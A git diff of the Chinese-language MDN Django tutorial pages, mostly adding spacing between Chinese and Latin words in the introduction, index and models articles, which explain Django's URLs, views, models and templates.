+- 这篇文章会为 本地图书馆 网站定义数据模板—数据模板是我们为应用存储的数据结构。并且允许 Django 在数据库中存储数据 (以后可以修改).文章解释了什么是数据模板,怎样声明它和一些主要的数据种类。文章还简要的介绍了一些你可以获得数据模板的方法。
- Django Tutorial Part 4: Django 管理站点
-- 现在我们已经为本地图书馆网站创建了模型,我们将使用 Django 管理站点 添加一些 ‘真实的’ 的图书数据。首先,我们将向你介绍如何使用管理站点注册模型,然后我们介绍如何登录和创建一些数据。最后我们展示一些进一步改进管理站点的演示方法。
+- 现在我们已经为本地图书馆网站创建了模型,我们将使用 Django 管理站点 添加一些‘真实的’的图书数据。首先,我们将向你介绍如何使用管理站点注册模型,然后我们介绍如何登录和创建一些数据。最后我们展示一些进一步改进管理站点的演示方法。
- Django Tutorial Part 5: 创建我们的主页
-- 我们现在可以添加代码来展示我们的第一次完整页面—本地图书馆主页,来显示我们对每个模型类型有多少条记录,并提供我们其他页面的侧边栏导航链接。一路上,我们将获得编写基本URL地图和视图,从数据库获取记录以及使用模版的实践经验。
+- 我们现在可以添加代码来展示我们的第一次完整页面—本地图书馆主页,来显示我们对每个模型类型有多少条记录,并提供我们其他页面的侧边栏导航链接。一路上,我们将获得编写基本 URL 地图和视图,从数据库获取记录以及使用模版的实践经验。
- Django Tutorial Part 6: 通用列表和详细视图
-- 本教程扩展了我们的本地图书馆网站,添加书籍和作者和详细页面。在这里,我们将了解基于类的通用视图,并展示如何减少常用代码用例的代码量。我们还将更详细地深入理解URL处理,显示如何执行基本模式匹配。
+- 本教程扩展了我们的本地图书馆网站,添加书籍和作者和详细页面。在这里,我们将了解基于类的通用视图,并展示如何减少常用代码用例的代码量。我们还将更详细地深入理解 URL 处理,显示如何执行基本模式匹配。
- Django Tutorial Part 7: 会话框架
- 本教程扩展本地图书馆网站,向主页添加了一个基于会话的访问计数器。这是个比较简单的例子,但它显示如何使用会话框架为你自己的站点中的匿名用户提供一致的行为。
- Django Tutorial Part 8: 用户身份验证和权限
- 本教程,我们将向你展示如何允许用户使用自己的账户登录到你的网站,以及如何根据他们是否登录及其权限来控制他们可以做什么和看到什么。作为此次演示的一部分,我们将扩展本地图书馆网站,添加登录和注销页面以及用户和工作人员特定页面,以查看已借用的书籍。
- Django Tutorial Part 9: 使用表单
-- 本教程,我们将向你展示如何使用Django 中的HTML表单,特别是编写创建表单,更新和删除模型实例的最简单方法。作为此次演示的一部分,我们将扩展本地图书馆网站,以便图书馆员可以使用我们自己的表单(而不是使用管理应用程序) 来更新书籍,创建,更新和删除作者。
-- Django Tutorial Part 10:测试Django Web 应用程序
+- 本教程,我们将向你展示如何使用 Django 中的HTML 表单,特别是编写创建表单,更新和删除模型实例的最简单方法。作为此次演示的一部分,我们将扩展本地图书馆网站,以便图书馆员可以使用我们自己的表单 (而不是使用管理应用程序) 来更新书籍,创建,更新和删除作者。
+- Django Tutorial Part 10:测试 Django Web 应用程序
- 随着网站的的发展,手工测试越来越难测试—不仅要测试更多,而且随着组件之间的相互作用变得越来越复杂,一个领域的一个小的变化可能需要许多额外的测试来验证其对其他领域的影响。减轻这些问题的一种方法是编写自动化测试,每次更改时都可以轻松可靠地运行。本教程将介绍如何使用 Django 的测试框架对你的网站进行 单元测试自动化。
-- Django Tutorial Part 11: 将Django部署到生产
-- 现在,你已创建(并测试)一个酷的 本地图书馆网站,你将要把它安装在公共Web服务器上,以便图书馆员工和成员可以通过Internet访问。本文概述了如何找到主机来部署你的网站,以及你需要做什么才能使你的网站准备好进行生产。
+- Django Tutorial Part 11: 将 Django 部署到生产
+- 现在,你已创建(并测试)一个酷的 本地图书馆网站,你将要把它安装在公共 Web 服务器上,以便图书馆员工和成员可以通过 Internet 访问。本文概述了如何找到主机来部署你的网站,以及你需要做什么才能使你的网站准备好进行生产。
- Django web 应用程序安全
-- 保护用户数据是任何网站设计的重要组成部分,我们以前解释了Web安全文章中一些更常见的安全威胁—本文提供了Django内置如何保护处理这种危险的实际演示。
+- 保护用户数据是任何网站设计的重要组成部分,我们以前解释了 Web 安全文章中一些更常见的安全威胁—本文提供了 Django 内置如何保护处理这种危险的实际演示。
评估
-以下评估将测试你对如何使用Django创建网站的理解,如上述指南中所述。
+以下评估将测试你对如何使用 Django 创建网站的理解,如上述指南中所述。
- DIY Django mini blog
diff --git a/files/zh-cn/learn/server-side/django/introduction/index.html b/files/zh-cn/learn/server-side/django/introduction/index.html index 0f56f5dff0ca47..e9c744ca349f66 100644 --- a/files/zh-cn/learn/server-side/django/introduction/index.html +++ b/files/zh-cn/learn/server-side/django/introduction/index.html @@ -7,109 +7,109 @@{{NextMenu("Learn/Server-side/Django/development_environment", "Learn/Server-side/Django")}}-在这第一Django文章中,我们将回答“什么是Django”这个问题,并概述这个网络框架有什么特性。我们将描述主要功能,包括一些高级功能,但我们并不会在本单元中详细介绍。我们还会展示一些Django应用程序的主要构建模块(尽管此时你还没有要测试的开发环境)。
+在这第一 Django 文章中,我们将回答“什么是 Django”这个问题,并概述这个网络框架有什么特性。我们将描述主要功能,包括一些高级功能,但我们并不会在本单元中详细介绍。我们还会展示一些 Django 应用程序的主要构建模块(尽管此时你还没有要测试的开发环境)。
-
- 先决条件: -基本的电脑知识. 对 服务器端网站编程的一般了解, 特别是 网站中客户端-服务器交互的机制. +先决条件: +基本的电脑知识。对 服务器端网站编程的一般了解, 特别是 网站中客户端 - 服务器交互的机制. - 目的: -了解Django是什么,它提供了哪些功能,以及Django应用程序的主要构建块。 +目的: +了解 Django 是什么,它提供了哪些功能,以及 Django 应用程序的主要构建块。 Django是什么?
+Django 是什么?
-Django 是一个高级的 Python 网络框架,可以快速开发安全和可维护的网站。由经验丰富的开发者构建,Django负责处理网站开发中麻烦的部分,因此你可以专注于编写应用程序,而无需重新开发。
+Django 是一个高级的 Python 网络框架,可以快速开发安全和可维护的网站。由经验丰富的开发者构建,Django 负责处理网站开发中麻烦的部分,因此你可以专注于编写应用程序,而无需重新开发。
-
它是免费和开源的,有活跃繁荣的社区,丰富的文档,以及很多免费和付费的解决方案。Django 可以使你的应用具有以下优点:
+Django 可以使你的应用具有以下优点:
-
- 完备性
-- Django遵循“功能完备”的理念,提供开发人员可能想要“开箱即用”的几乎所有功能。因为你需要的一切都是一个”产品“的一部分,它们都可以无缝结合在一起,遵循一致性设计原则,并且具有广泛和最新的文档.
+- Django 遵循“功能完备”的理念,提供开发人员可能想要“开箱即用”的几乎所有功能。因为你需要的一切都是一个”产品“的一部分,它们都可以无缝结合在一起,遵循一致性设计原则,并且具有广泛和最新的文档.
- 通用性
-- Django 可以(并已经)用于构建几乎任何类型的网站—从内容管理系统和维基,到社交网络和新闻网站。它可以与任何客户端框架一起工作,并且可以提供几乎任何格式(包括 HTML,Rss源,JSON,XML等)的内容。你正在阅读的网站就是基于Django。
+- Django 可以(并已经)用于构建几乎任何类型的网站—从内容管理系统和维基,到社交网络和新闻网站。它可以与任何客户端框架一起工作,并且可以提供几乎任何格式(包括 HTML,Rss 源,JSON,XML 等)的内容。你正在阅读的网站就是基于 Django。
在内部,尽管它为几乎所有可能需要的功能(例如几个流行的数据库,模版引擎等)提供了选择,但是如果需要,它也可以扩展到使用其他组件。- 安全性
-- Django 帮助开发人员通过提供一个被设计为“做正确的事情”来自动保护网站的框架来避免许多常见的安全错误。例如,Django提供了一种安全的方式来管理用户账户和密码,避免了常见的错误,比如将session放在cookie中这种易受攻击的做法(取而代之的是cookies只包含一个密钥,实际数据存储在数据库中)或直接存储密码而不是密码哈希。
+- Django 帮助开发人员通过提供一个被设计为“做正确的事情”来自动保护网站的框架来避免许多常见的安全错误。例如,Django 提供了一种安全的方式来管理用户账户和密码,避免了常见的错误,比如将 session 放在 cookie 中这种易受攻击的做法(取而代之的是 cookies 只包含一个密钥,实际数据存储在数据库中)或直接存储密码而不是密码哈希。
+ 默认情况下,Django 可以防范许多漏洞,包括 SQL 注入,跨站点脚本,跨站点请求伪造和点击劫持 (请参阅 网站安全 相关信息,如有兴趣).
- 密码哈希是通过密码散列函数发送密码而创建的固定长度值。 Django 能通过运行哈希函数来检查输入的密码-就是-将输出的哈希值与存储的哈希值进行比较是否正确。然而由于功能的“单向”性质,即时存储的哈希值受到威胁,攻击者也难以解决原始密码。(但其实有彩虹表-译者观点)
+ 密码哈希是通过密码散列函数发送密码而创建的固定长度值。Django 能通过运行哈希函数来检查输入的密码 - 就是 - 将输出的哈希值与存储的哈希值进行比较是否正确。然而由于功能的“单向”性质,即时存储的哈希值受到威胁,攻击者也难以解决原始密码。(但其实有彩虹表 - 译者观点)
- 默认情况下,Django 可以防范许多漏洞,包括SQL注入,跨站点脚本,跨站点请求伪造和点击劫持 (请参阅 网站安全 相关信息,如有兴趣).- 可扩展
-- Django 使用基于组件的 “无共享” 架构 (架构的每一部分独立于其他架构,因此可以根据需要进行替换或更改). 在不用部分之间有明确的分隔意味着它可以通过在任何级别添加硬件来扩展服务:缓存服务器,数据库服务器或应用程序服务器。一些最繁忙的网站已经成功地缩放了Django,以满足他们的需求(例如Instagram和Disqus,仅举两个例子,可自行添加)。
+- Django 使用基于组件的“无共享”架构 (架构的每一部分独立于其他架构,因此可以根据需要进行替换或更改). 在不用部分之间有明确的分隔意味着它可以通过在任何级别添加硬件来扩展服务:缓存服务器,数据库服务器或应用程序服务器。一些最繁忙的网站已经成功地缩放了 Django,以满足他们的需求(例如 Instagram 和 Disqus,仅举两个例子,可自行添加)。
- 可维护性
-- Django 代码编写是遵照设计原则和模式,鼓励创建可维护和可重复使用的代码。特别是它使用了不要重复自己(DRY)原则,所以没有不必要的重复,减少了代码的数量。Django还将相关功能分组到可重用的“应用程序”中,并且在较低级别将相关代码分组或模块( 模型视图控制器 (MVC) 模式).
+- Django 代码编写是遵照设计原则和模式,鼓励创建可维护和可重复使用的代码。特别是它使用了不要重复自己(DRY)原则,所以没有不必要的重复,减少了代码的数量。Django 还将相关功能分组到可重用的“应用程序”中,并且在较低级别将相关代码分组或模块( 模型视图控制器 (MVC) 模式).
- 灵活性
-- Django 是用Python编写的,它在许多平台上运行。这意味着你不受任务特定的服务器平台的限制,并且可以在许多种类的Linux,Windows和Mac OsX 上运行应用程序。此外,Django得到许多网络托管提供商的好评,他们经常提供特定的基础设施和托管Django网站的文档。
+- Django 是用 Python 编写的,它在许多平台上运行。这意味着你不受任务特定的服务器平台的限制,并且可以在许多种类的 Linux,Windows 和 Mac OsX 上运行应用程序。此外,Django 得到许多网络托管提供商的好评,他们经常提供特定的基础设施和托管 Django 网站的文档。
它的出生?
+它的出生?
-Django 最初由2003年到2005年间由负责创建和维护报纸网站的网络团队开发。在创建了许多网站后,团队开始考虑并重用许多常见的代码和设计模式。这个共同的代码演变一个通用的网络开发框架,2005年7月被开源“Django”项目。
+Django 最初由 2003 年到 2005 年间由负责创建和维护报纸网站的网络团队开发。在创建了许多网站后,团队开始考虑并重用许多常见的代码和设计模式。这个共同的代码演变一个通用的网络开发框架,2005 年 7 月被开源“Django”项目。
-Django 不断发展壮大—从2008年9月的第一个里程碑版本(1.0)到最近发布的(1.11)-(2017)版本。每个版本都添加了新功能和错误修复,从支持新类型的数据库,模版引擎和缓存,到添加“通用”视图函数和类(这减少了开发人员必须编写的代码量)一些编程任务。
+Django 不断发展壮大—从 2008 年 9 月的第一个里程碑版本(1.0)到最近发布的(1.11)-(2017)版本。每个版本都添加了新功能和错误修复,从支持新类型的数据库,模版引擎和缓存,到添加“通用”视图函数和类(这减少了开发人员必须编写的代码量)一些编程任务。
--注意: 查看Django网站上 发行说明,看看最近版本发生了什么变化,以及Django能做多少工作。
+注意: 查看 Django 网站上 发行说明,看看最近版本发生了什么变化,以及 Django 能做多少工作。
Django 现在是一个蓬勃发展的合作开源项目,拥有数千个用户和贡献者。虽然它仍然具有反映其起源的一些功能,但Django已经发展成为能够开发任何类型的网站的多功能框架。
+Django 现在是一个蓬勃发展的合作开源项目,拥有数千个用户和贡献者。虽然它仍然具有反映其起源的一些功能,但 Django 已经发展成为能够开发任何类型的网站的多功能框架。
-Django有多受欢迎?
+Django 有多受欢迎?
-服务器端框架的受欢迎程度没有任何可靠和明确的测量(尽管Hot Frameworks网站 尝试使用诸如计算每个平台的GitHub项目数量和StackOverflow问题的机制来评估流行度)。一个更好的问题是Django是否“足够流行”,以避免不受欢迎的平台的问题。它是否继续发展?如果您需要帮助,可以帮您吗?如果您学习Django,有机会获得付费工作吗?
+服务器端框架的受欢迎程度没有任何可靠和明确的测量(尽管Hot Frameworks网站 尝试使用诸如计算每个平台的 GitHub 项目数量和 StackOverflow 问题的机制来评估流行度)。一个更好的问题是 Django 是否“足够流行”,以避免不受欢迎的平台的问题。它是否继续发展?如果您需要帮助,可以帮您吗?如果您学习 Django,有机会获得付费工作吗?
-基于使用Django的流行网站数量,为代码库贡献的人数以及提供免费和付费支持的人数,那么是的,Django是一个流行的框架!
+基于使用 Django 的流行网站数量,为代码库贡献的人数以及提供免费和付费支持的人数,那么是的,Django 是一个流行的框架!
-使用Django的流行网站包括:Disqus,Instagram,骑士基金会,麦克阿瑟基金会,Mozilla,国家地理,开放知识基金会,Pinterest和开放栈(来源:Django home page).
+使用 Django 的流行网站包括:Disqus,Instagram,骑士基金会,麦克阿瑟基金会,Mozilla,国家地理,开放知识基金会,Pinterest 和开放栈(来源:Django home page).
-Django 是特定?
+Django 是特定?
-Web框架通常将自己称为“特定”或“无限制”。
+Web 框架通常将自己称为“特定”或“无限制”。
特定框架是对处理任何特定任务的“正确方法”有意见的框架。他们经常支持特定领域的快速发展(解决特定类型的问题),因为正确的做法是通常被很好地理解和记录在案。然而,他们在解决其主要领域之外的问题时可能不那么灵活,并且倾向于为可以使用哪些组件和方法提供较少的选择。
相比之下,无限制的框架对于将组件粘合在一起以实现目标或甚至应使用哪些组件的最佳方式的限制较少。它们使开发人员更容易使用最合适的工具来完成特定任务,尽管您需要自己查找这些组件。
-Django“有点有意义”,因此提供了“两个世界的最佳”。它提供了一组组件来处理大多数Web开发任务和一个(或两个)首选的使用方法。然而,Django的解耦架构意味着您通常可以从多个不同的选项中进行选择,也可以根据需要添加对全新的支持。
+Django“有点有意义”,因此提供了“两个世界的最佳”。它提供了一组组件来处理大多数 Web 开发任务和一个(或两个)首选的使用方法。然而,Django 的解耦架构意味着您通常可以从多个不同的选项中进行选择,也可以根据需要添加对全新的支持。
-Django代码是什么样的?
+Django 代码是什么样的?
-在传统的数据驱动网站中,Web应用程序会等待来自Web浏览器(或其他客户端)的 HTTP 请求。当接收到请求时,应用程序根据 URL 和可能的 POST 数据或 GET 数据中的信息确定需要的内容。根据需要,可以从数据库读取或写入信息,或执行满足请求所需的其他任务。然后,该应用程序将返回对Web浏览器的响应,通常通过将检索到的数据插入 HTML模板中的占位符来动态创建用于浏览器显示的 HTML 页面。
+在传统的数据驱动网站中,Web 应用程序会等待来自 Web 浏览器(或其他客户端)的 HTTP 请求。当接收到请求时,应用程序根据 URL 和可能的 POST 数据或 GET 数据中的信息确定需要的内容。根据需要,可以从数据库读取或写入信息,或执行满足请求所需的其他任务。然后,该应用程序将返回对 Web 浏览器的响应,通常通过将检索到的数据插入 HTML 模板中的占位符来动态创建用于浏览器显示的 HTML 页面。
Django 网络应用程序通常将处理每个步骤的代码分组到单独的文件中:
-
- URLs: 虽然可以通过单个功能来处理来自每个URL的请求,但是编写单独的视图函数来处理每个资源是更加可维护的。URL映射器用于根据请求URL将HTTP请求重定向到相应的视图。URL映射器还可以匹配出现在URL中的字符串或数字的特定模式,并将其作为数据传递给视图功能。
+- URLs: 虽然可以通过单个功能来处理来自每个 URL 的请求,但是编写单独的视图函数来处理每个资源是更加可维护的。URL 映射器用于根据请求 URL 将 HTTP 请求重定向到相应的视图。URL 映射器还可以匹配出现在 URL 中的字符串或数字的特定模式,并将其作为数据传递给视图功能。
-
- View: 视图 是一个请求处理函数,它接收HTTP请求并返回HTTP响应。视图通过模型访问满足请求所需的数据,并将响应的格式委托给 模板。
+- View: 视图 是一个请求处理函数,它接收 HTTP 请求并返回 HTTP 响应。视图通过模型访问满足请求所需的数据,并将响应的格式委托给 模板。
-
- Models: 模型 是定义应用程序数据结构的Python对象,并提供在数据库中管理(添加,修改,删除)和查询记录的机制。
+- Models: 模型 是定义应用程序数据结构的 Python 对象,并提供在数据库中管理(添加,修改,删除)和查询记录的机制。
-
- Templates: 模板 是定义文件(例如HTML页面)的结构或布局的文本文件,用于表示实际内容的占位符。一个视图可以使用HTML模板,从数据填充它动态地创建一个HTML页面模型。可以使用模板来定义任何类型的文件的结构; 它不一定是HTML!
+- Templates: 模板 是定义文件(例如 HTML 页面)的结构或布局的文本文件,用于表示实际内容的占位符。一个视图可以使用 HTML 模板,从数据填充它动态地创建一个 HTML 页面模型。可以使用模板来定义任何类型的文件的结构; 它不一定是 HTML!
-注意: Django将此组织称为“模型视图模板(MVT)”架构。它与更加熟悉的 Model View Controller 架构有许多相似之处.
+注意: Django 将此组织称为“模型视图模板(MVT)”架构。它与更加熟悉的 Model View Controller 架构有许多相似之处.
-
以下部分将为您提供Django应用程序的这些主要部分的想法(稍后我们将在进一步详细介绍后,我们将在开发环境中进行更详细的介绍)。
+以下部分将为您提供 Django 应用程序的这些主要部分的想法(稍后我们将在进一步详细介绍后,我们将在开发环境中进行更详细的介绍)。
将请求发送到正确的视图 (urls.py)
-URL映射器通常存储在名为urls.py的文件中。在下面的示例中,mapper(urlpatterns)定义了特定URL 模式 和相应视图函数之间的映射列表。如果接收到具有与指定模式匹配的URL(例如r'^$',下面)的HTTP请求,则将调用 相关联的视图功能(例如 views.index)并传递请求。
+URL 映射器通常存储在名为 urls.py 的文件中。在下面的示例中,mapper(urlpatterns)定义了特定 URL 模式 和相应视图函数之间的映射列表。如果接收到具有与指定模式匹配的 URL(例如 r'^$',下面)的 HTTP 请求,则将调用 相关联的视图功能(例如 views.index)并传递请求。
urlpatterns = [ url(r'^$', views.index), @@ -118,20 +118,20 @@将请求发送到正确的
-注意: 一点点Python:
+注意: 一点点 Python:
-
- 该
-urlpatterns
对象的列表url() 功能。在Python中,使用方括号定义列表。项目以逗号分隔,并可能有一个 可选的逗号. 例如:[item1, item2, item3,]
.- 该模式的奇怪的语法称为正则表达式。我们将在后面的文章中讨论这些内容!
-- 第二个参数 url() 是当模式匹配时,将被调用的另一个函数。符号views.index 表示该函数被调用,index()并且可以在被调用的模块中找到views (即在一个名为views.py的文件中)。
+- 该
+urlpatterns
对象的列表 url() 功能。在 Python 中,使用方括号定义列表。项目以逗号分隔,并可能有一个 可选的逗号. 例如:[item1, item2, item3,]
.- 该模式的奇怪的语法称为正则表达式。我们将在后面的文章中讨论这些内容!
+- 第二个参数 url() 是当模式匹配时,将被调用的另一个函数。符号 views.index 表示该函数被调用,index() 并且可以在被调用的模块中找到 views(即在一个名为 views.py 的文件中)。
处理请求 (views.py)
-视图是Web应用程序的核心,从Web客户端接收HTTP请求并返回HTTP响应。在两者之间,他们编制框架的其他资源来访问数据库,渲染模板等。
+视图是 Web 应用程序的核心,从 Web 客户端接收 HTTP 请求并返回 HTTP 响应。在两者之间,他们编制框架的其他资源来访问数据库,渲染模板等。
-下面的例子显示了一个最小的视图功能index(),这可以通过我们的URL映射器在上一节中调用。像所有视图函数一样,它接收一个HttpRequest对象作为参数(request)并返回一个HttpResponse对象。在这种情况下,我们对请求不做任何事情,我们的响应只是返回一个硬编码的字符串。我们会向您显示一个请求,在稍后的部分中会提供更有趣的内容。
+下面的例子显示了一个最小的视图功能 index(),这可以通过我们的 URL 映射器在上一节中调用。像所有视图函数一样,它接收一个 HttpRequest 对象作为参数(request)并返回一个 HttpResponse 对象。在这种情况下,我们对请求不做任何事情,我们的响应只是返回一个硬编码的字符串。我们会向您显示一个请求,在稍后的部分中会提供更有趣的内容。
## filename: views.py (Django view functions) @@ -145,14 +145,14 @@处理请求 (views.py)
-@@ -164,9 +164,9 @@注意: 一点点Python:
+注意: 一点点 Python:
-
- Python 模块 是函数的“库”,存储在单独的文件中,我们可能想在我们的代码中使用它们。在这里我们只从django.http模块导入了HttpResponse对象,使我们可以在视图中使用它:
+- Python 模块 是函数的“库”,存储在单独的文件中,我们可能想在我们的代码中使用它们。在这里我们只从 django.http 模块导入了 HttpResponse 对象,使我们可以在视图中使用它:
from django.http import HttpResponse。
还有其他方法可以从模块导入一些或所有对象。- -
如上所示,使用
+def
关键字声明函数,在函数名称后面的括号中列出命名参数;整行以冒号结尾。注意下一行是否都进行了缩进。缩进很重要,因为它指定代码行在该特定块内 (强制缩进是Python的一个关键特征,也是Python代码很容易阅读的一个原因)。如上所示,使用
def
关键字声明函数,在函数名称后面的括号中列出命名参数;整行以冒号结尾。注意下一行是否都进行了缩进。缩进很重要,因为它指定代码行在该特定块内 (强制缩进是 Python 的一个关键特征,也是 Python 代码很容易阅读的一个原因)。处理请求 (views.py)
定义数据模型 (models.py)
-Django Web应用程序通过被称为模型的Python对象来管理和查询数据。模型定义存储数据的结构,包括字段类型 以及字段可能的最大值,默认值,选择列表选项,文档帮助文本,表单的标签文本等。模型的定义与底层数据库无关 -您可以选择其中一个作为项目设置的一部分。一旦您选择了要使用的数据库,您就不需要直接与之交谈 - 只需编写模型结构和其他代码,Django可以处理与数据库通信的所有辛苦的工作。
+Django Web 应用程序通过被称为模型的 Python 对象来管理和查询数据。模型定义存储数据的结构,包括字段类型 以及字段可能的最大值,默认值,选择列表选项,文档帮助文本,表单的标签文本等。模型的定义与底层数据库无关 -您可以选择其中一个作为项目设置的一部分。一旦您选择了要使用的数据库,您就不需要直接与之交谈 - 只需编写模型结构和其他代码,Django 可以处理与数据库通信的所有辛苦的工作。
-下面的代码片段为Team对象展示了一个非常简单的Django模型。本Team类是从Django的类派生models.Model。它将团队名称和团队级别定义为字符字段,并为每个记录指定了要存储的最大字符数。team_level 可以是几个值中的一个,因此,我们将其定义为一个选择字段,并在被展示的数据和被储存的数据之间建立映射,并设置一个默认值。
+下面的代码片段为Team对象展示了一个非常简单的 Django 模型。本Team类是从 Django 的类派生models.Model。它将团队名称和团队级别定义为字符字段,并为每个记录指定了要存储的最大字符数。team_level 可以是几个值中的一个,因此,我们将其定义为一个选择字段,并在被展示的数据和被储存的数据之间建立映射,并设置一个默认值。
@@ -187,20 +187,20 @@
定义数据模型 (models.py)
-注意: Python小知识:
+注意: Python 小知识:
-
- Python支持“面向对象编程”,这是一种编程风格,我们将代码组织到对象中,其中包括用于对该对象进行操作的相关数据和功能。对象也可以从其他对象继承/扩展/派生,允许相关对象之间的共同行为被共享。在Python中,我们使用关键字 Class 定义对象的“蓝图”。我们可以根据类中的模型创建类型的多个 特定 实例。
+- Python 支持“面向对象编程”,这是一种编程风格,我们将代码组织到对象中,其中包括用于对该对象进行操作的相关数据和功能。对象也可以从其他对象继承/扩展/派生,允许相关对象之间的共同行为被共享。在 Python 中,我们使用关键字 Class 定义对象的“蓝图”。我们可以根据类中的模型创建类型的多个 特定 实例。
- + 例如,我们有个 Team 类,它来自于Model类。这意味着它是一个模型,并且将包含模型的所有方法,但是我们也可以给它自己的专门功能。在我们的模型中,我们定义了我们的数据库需要存储我们的数据字段,给出它们的具体名称。Django 使用这些定义(包括字段名称)来创建底层数据库。
- 例如,我们有个 Team 类,它来自于Model类。这意味着它是一个模型,并且将包含模型的所有方法,但是我们也可以给它自己的专门功能。在我们的模型中,我们定义了我们的数据库需要存储我们的数据字段,给出它们的具体名称。Django使用这些定义(包括字段名称)来创建底层数据库。查询数据 (views.py)
-Django模型提供了一个用于搜索数据库的简单查询API。这可以使用不同的标准(例如,精确,不区分大小写,大于等等)来匹配多个字段,并且可以支持复杂语句(例如,您可以在拥有一个团队的 U11 团队上指定搜索名称以“Fr”开头或以“al”结尾)。
+Django 模型提供了一个用于搜索数据库的简单查询 API。这可以使用不同的标准(例如,精确,不区分大小写,大于等等)来匹配多个字段,并且可以支持复杂语句(例如,您可以在拥有一个团队的 U11 团队上指定搜索名称以“Fr”开头或以“al”结尾)。
-代码片段显示了一个视图函数(资源处理程序),用于显示我们所有的 U09 团队。粗体显示如何使用模型查询API过滤所有记录,其中该 team_level 字段具有正确的文本“U09”(请注意,该条件如何filter()作为参数传递给该函数,该字段名称和匹配类型由双下划线: team_level__exact)
+代码片段显示了一个视图函数(资源处理程序),用于显示我们所有的 U09 团队。粗体显示如何使用模型查询 API 过滤所有记录,其中该 team_level 字段具有正确的文本“U09”(请注意,该条件如何 filter() 作为参数传递给该函数,该字段名称和匹配类型由双下划线: team_level__exact)
## filename: views.py @@ -216,17 +216,17 @@查询数据 (views.py)
-
此功能使用 render() 功能创建 HttpResponse 发送回浏览器的功能。这个函数是一个快捷方式;它通过组合指定的HTML模版和一些数据来插入模版(在名为 “context” 的变量中提供)来创建一个HTML文件。在下一节中,我们将介绍如何在其中插入数据以创建HTML。
+此功能使用 render() 功能创建 HttpResponse 发送回浏览器的功能。这个函数是一个快捷方式;它通过组合指定的 HTML 模版和一些数据来插入模版(在名为“context”的变量中提供)来创建一个HTML文件。在下一节中,我们将介绍如何在其中插入数据以创建HTML。
呈现数据 (HTML 模版)
模版系统允许你指定输出文档的结构,使用
+ 来生成页面时填写的数据。模版通常用于创建 HTMl,但也可以创建其他类型的文档。Django 支持其原生模版系统和另一种流行的 Python 库(称为 jinja2)开箱即用(如果需要,也可以支持其他系统)。 -
占位符
{% if youngest_teams%}
- 来生成页面时填写的数据。模版通常用于创建HTMl,但也可以创建其他类型的文档。Django支持其原生模版系统和另一种流行的Python库(称为jinja2)开箱即用(如果需要,也可以支持其他系统)。代码片段显示render()了上一节中函数调用的HTML模版的外观。这个模版已经被写入这样的想法,即它将被访问一个列表变量,
+
- youngest_teams当它被渲染时代码片段显示 render() 了上一节中函数调用的 HTML 模版的外观。这个模版已经被写入这样的想法,即它将被访问一个列表变量,
+ youngest_teams 当它被渲染时## filename: best/templates/best/index.html @@ -249,20 +249,20 @@呈现数据 (HTML 模版)
你还能做什么?
-前面的部分显示了几乎每个Web应用程序将使用的主要功能:URL映射,视图,模型和模版。Django提供的其他内容包括:
+前面的部分显示了几乎每个 Web 应用程序将使用的主要功能:URL 映射,视图,模型和模版。Django 提供的其他内容包括:
-
- 表单: HTML 表单用于收集用户数据以便在服务器上进行处理。Django简化了表单创建,验证和处理。
-- 用户身份验证和权限: Django包含了一个强大的用户身份验证和权限系统,该系统已经构建了安全性。
-- 缓存: 与提供静态内容相比,动态创建内容需要更大的计算强度(也更缓慢)。Django提供灵活的缓存,以便你可以存储所有或部分的页面。如无必要,不会重新呈现网页。
-- 管理网站: 当你使用基本骨架创建应用时,就已经默认包含了一个Django管理站点。它十分轻松地创建了一个管理页面,使网站管理员能够创建、编辑和查看站点中的任何数据模型。
-- 序列化数据: Django可以轻松地将数据序列化,并支持XML或JSON格式。这会有助于创建一个Web服务(Web服务指数据纯粹为其他应用程序或站点所用,并不会在自己的站点中显示),或是有助于创建一个由客户端代码处理和呈现所有数据的网站。
+- 表单: HTML 表单用于收集用户数据以便在服务器上进行处理。Django 简化了表单创建,验证和处理。
+- 用户身份验证和权限: Django 包含了一个强大的用户身份验证和权限系统,该系统已经构建了安全性。
+- 缓存: 与提供静态内容相比,动态创建内容需要更大的计算强度(也更缓慢)。Django 提供灵活的缓存,以便你可以存储所有或部分的页面。如无必要,不会重新呈现网页。
+- 管理网站: 当你使用基本骨架创建应用时,就已经默认包含了一个 Django 管理站点。它十分轻松地创建了一个管理页面,使网站管理员能够创建、编辑和查看站点中的任何数据模型。
+- 序列化数据: Django 可以轻松地将数据序列化,并支持 XML 或 JSON 格式。这会有助于创建一个 Web 服务(Web 服务指数据纯粹为其他应用程序或站点所用,并不会在自己的站点中显示),或是有助于创建一个由客户端代码处理和呈现所有数据的网站。
概要
-恭喜,您已经完成了Django之旅的第一步!您现在应该了解Django的主要优点,一些关于它的历史,以及Django应用程序的每个主要部分可能是什么样子。您还应该了解Python编程语言的一些内容,包括列表,函数和类的语法。
+恭喜,您已经完成了 Django 之旅的第一步!您现在应该了解 Django 的主要优点,一些关于它的历史,以及 Django 应用程序的每个主要部分可能是什么样子。您还应该了解 Python 编程语言的一些内容,包括列表,函数和类的语法。
-您已经看到上面的一些真正的Django代码,但与客户端代码不同,您需要设置一个开发环境来运行它。这是我们的下一步。
+您已经看到上面的一些真正的 Django 代码,但与客户端代码不同,您需要设置一个开发环境来运行它。这是我们的下一步。
{{NextMenu("Learn/Server-side/Django/development_environment", "Learn/Server-side/Django")}}diff --git a/files/zh-cn/learn/server-side/django/models/index.html b/files/zh-cn/learn/server-side/django/models/index.html index 1a87f9c0e0704a..5cf77a5058cae9 100644 --- a/files/zh-cn/learn/server-side/django/models/index.html +++ b/files/zh-cn/learn/server-side/django/models/index.html @@ -7,7 +7,7 @@{{PreviousMenuNext("Learn/Server-side/Django/skeleton_website", "Learn/Server-side/Django/Admin_site", "Learn/Server-side/Django")}}-这篇文章展示了如何为我们的LocalLibray(本地图书馆)网站定义models。它解释了一个模型是什么,它是怎么被声明的,和其中的一些主要域类型。+这篇文章展示了如何为我们的 LocalLibray(本地图书馆)网站定义 models。它解释了一个模型是什么,它是怎么被声明的,和其中的一些主要域类型。@@ -24,25 +24,25 @@
概要
-Django网络应用通过作为模型被参照的Python对象访问并管理数据。模型定义了储存数据的结构,包括域类型和可能的最大值,默认值,可选择的列表,帮助理解文档的文本,表格内的标签文本,等等。模型的定义是独立于数据库的——你可以为你自己的项目设置选择一种。一旦你已经选择了你想用的数据库,你不需要直接谈论它——你只是写出你的模型结构和其他代码,然后Django会为你处理所有繁琐的和数据库打交道的工作。
